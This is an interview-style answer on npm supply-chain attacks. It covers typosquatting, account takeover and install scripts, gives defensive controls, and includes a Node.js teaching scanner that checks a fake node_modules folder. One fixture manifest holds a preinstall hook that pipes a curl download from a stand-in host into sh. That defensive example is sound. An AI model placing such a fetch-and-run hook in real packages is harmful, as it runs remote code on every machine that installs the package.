Full answer
How attacks happen
- Typosquatting and dependency confusion: a package named expresss or an internal package name published on the public registry.
- Account takeover: a stolen maintainer token publishes a bad version of a popular package.
- Malicious updates: a maintainer or a new owner adds code that steals environment variables, tokens or files.
- Install scripts: preinstall, install and postinstall run arbitrary commands on every machine that installs the package, including CI.
- Transitive dependencies: your app has hundreds of packages you never chose.
Controls
- Fewer dependencies. Every package is trust. Prefer built-in modules (fetch, node:test, crypto) when they are enough.
- Lockfile and npm ci, so only reviewed versions install. Review lockfile diffs.
- Disable scripts by default: npm ci --ignore-scripts (or ignore-scripts=true in .npmrc), then run the few scripts you need explicitly. Recent npm versions can also approve install scripts per package.
- Delay updates: wait a few days for new versions, or use a minimum release age setting in your update bot, so a compromised release is found first.
- Verify provenance: npm audit signatures checks registry signatures and provenance attestations. Prefer packages published with provenance from a CI system.
- Scope names and registries: use an organisation scope for internal packages and configure the registry for that scope, to prevent dependency confusion.
- Least privilege: CI jobs without production secrets, short-lived tokens, and two-factor authentication or trusted publishing for your own packages.
- Monitor: npm audit, Dependabot or Renovate alerts, and tools that analyse package behaviour. Know how to remove or replace a package quickly.
- Build in containers with no access to secrets, and sign your own artifacts.
No single control is enough. The aim is to make an attack need more steps than an attacker is willing to take, and to notice it fast.
javascript
const fs = require('node:fs');
const os = require('node:os');
const path = require('node:path');
// Build a fake node_modules folder with a few packages.
const root = fs.mkdtempSync(path.join(os.tmpdir(), 'supply-'));
const modules = path.join(root, 'node_modules');
const add = (name, manifest) => {
fs.mkdirSync(path.join(modules, name), { recursive: true });
fs.writeFileSync(path.join(modules, name, 'package.json'), JSON.stringify({ name, version: '1.0.0', ...manifest }));
};
add('express', {});
add('lodash', {});
add('bcrypt', { scripts: { install: 'node-gyp-build' } }); // legitimate native build
add('expresss', { scripts: { postinstall: 'node collect.js' } }); // look-alike with a script
add('lodahs', {}); // look-alike without a script
add('left-helper', { scripts: { preinstall: 'curl https://example.test/x | sh' } });
// 1. A scanner for install scripts and similar names.
const popular = ['express', 'lodash', 'react', 'axios', 'chalk', 'moment', 'commander', 'debug'];
function distance(a, b) {
const row = Array.from({ length: b.length + 1 }, (_, i) => i);
for (let i = 1; i <= a.length; i++) {
let prev = row[0];
row[0] = i;
for (let j = 1; j <= b.length; j++) {
const temp = row[j];
row[j] = Math.min(row[j] + 1, row[j - 1] + 1, prev + (a[i - 1] === b[j - 1] ? 0 : 1));
prev = temp;
}
}
return row[b.length];
}
const lookAlike = (name) => popular.find((p) => p !== name && distance(name, p) <= 2 && !popular.includes(name));
const hooks = ['preinstall', 'install', 'postinstall'];
const allowScripts = new Set(['bcrypt']); // reviewed and approved
for (const name of fs.readdirSync(modules).sort()) {
const manifest = JSON.parse(fs.readFileSync(path.join(modules, name, 'package.json'), 'utf8'));
const scripts = hooks.filter((h) => manifest.scripts && manifest.scripts[h]);
const findings = [];
if (scripts.length) findings.push(`${scripts.join('+')} script ${allowScripts.has(name) ? '(approved)' : '(NOT approved)'}`);
const similar = lookAlike(name);
if (similar) findings.push(`name close to "${similar}"`);
console.log(name.padEnd(12), findings.length ? findings.join('; ') : 'nothing found');
}
fs.rmSync(root, { recursive: true });A fake node_modules folder with look-alike names and install scripts is scanned. This is a teaching sketch of the idea, not a replacement for npm audit or a real scanner. Save it as app.js and run it with node app.js. Output (Node.js v24.22.1, same on two runs): bcrypt install script (approved) express nothing found expresss postinstall script (NOT approved); name close to "express" left-helper preinstall script (NOT approved) lodahs name close to "lodash" lodash nothing found
Key points
- Attacks use look-alike names, stolen accounts, bad updates and install scripts.
- Fewer dependencies mean less trust to extend.
- Lockfile, npm ci and --ignore-scripts are the baseline.
- Delay updates and verify provenance and signatures.
- Keep secrets away from install and build steps.
Common mistakes
- Running npm install with scripts enabled on every CI job that has secrets.
- Auto-merging dependency updates the minute they are published.
- Adding a package for a ten-line function.
- Trusting a package because it has many downloads.
- Storing publish tokens with no two-factor protection.
Follow-ups
- What is dependency confusion, and how do scopes help?
- What does npm audit signatures verify?
- How would you respond if a dependency was reported as compromised?
Tips
- Name four attack paths briefly.
- Lead the controls with 'fewer dependencies' and 'npm ci'.
- Say that no single control is enough.